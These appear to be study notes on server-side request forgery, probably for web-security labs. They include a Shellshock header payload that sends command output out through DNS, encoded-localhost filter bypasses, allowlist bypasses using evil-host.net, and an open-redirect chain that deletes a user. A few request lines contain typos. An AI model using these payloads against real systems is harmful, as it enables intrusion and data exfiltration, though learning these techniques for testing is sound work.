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server-side-request-forgery-ssrf.md

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🟩 Server-Side Request Forgery (SSRF)

Induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing.

Exploiting

SSRF against the server itself

Attacker induces the application to make an HTTP request back to the server that is hosting the application, via its loopback network interface (EX: http://localhost/admin)

SSRF against other back-end systems

  • Attacker can exploit the SSRF vulnerability to access the other interface by submitting a internal HTTP request (EX: http://192.168.1.105/admin)

Blind SSRF vulnerabilities

Response from the back-end request is not returned in the application's front-end response

Find vulnerability

Observe a DNS look-up for the supplied Burp Collaborator domain

Example (Blind SSRF with Shellshock exploitation)

GET /path TTP/1.1
Host: test.net
...
User-Agent: () { :; }; /usr/bin/nslookup $(whoami).aaabbbcccdddeeefff.burpcollaborator.net
...
Referer: http://192.168.0.1:8080
Upgrade-Insecure-Requests: 1
Connection: close

Bypass

Bypass blacklist-based

  • Change "127.0.0.1" to
http://2130706433
http://017700000001
http://127.1
http://127.0.1
http://0.0.0.0
http://0
http://0x7f000001
http://2130706433
http://017700000001
http://[::]:80
  • Registering your own domain name that resolves to 127.0.0.1. You can use "spoofed.burpcollaborator.net" for this purpose
  • Obfuscating blocked strings using URL encoding or case variation. Example
value=http://127.1/%25%36%31dmin/delete?username=carlos

Bypass whitelist-based

  • Using "@" char https://expected-host@evil-host.net
  • Using "#" char https://evil-host#expected-host.net
  • Create a invalid domain https://expected-host.evil-host.net
  • Use URL-encode characters to confuse the URL-parsing code http://localhost:80%2523@evil-host.net/admin

Bypassing SSRF filters via open redirection

Exapmle-1

/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin

Exapmle-2

If "/product/stock" vulnerable to SSRF and "/nextProduct" vulnerable to OpenRedirect, Then

// HTTP request

POST /product/stock vulnerable/1.1
Host: test.net
......
Connection: close

api=/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos